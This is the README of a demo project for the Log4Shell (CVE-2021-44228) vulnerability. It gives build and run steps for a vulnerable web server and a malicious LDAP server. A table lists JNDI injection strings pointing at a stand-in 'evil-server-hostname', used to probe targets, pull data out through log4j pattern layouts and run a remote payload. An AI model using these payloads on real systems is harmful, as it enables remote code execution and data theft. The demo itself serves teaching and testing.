roshanshibu/odysseusA demo of the Log4Shell (CVE-2021-44228) vulnerability.
A demo of the Log4Shell (CVE-2021-44228) vulnerability.
The vulnerable webserver and malicious LDAP server were both built and tested on JDK 1.8.0_181.
goodguys, run gradlew bootJarjava -jar build/libs/goodguys-0.0.1-SNAPSHOT.jarbadguys, run mvn packagejava -jar .\target\evil-server.jarNote: Windows defender may quietly move to quarantine.
target\classes\Exploit.classThe malicious commands are defined inside Exploit.java.
| Input | Remarks |
|---|---|
${jndi:ldap://evil-server-hostname:389/Recon} | Checks if the target is vulnerable by listening to a connection request to the LDAP server. |
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)] | Append any valid log4j pattern latyouts to collect the data from target and display in attacker terminal. |
${jndi:ldap://evil-server-hostname:389/Exploit} | Run the payload. |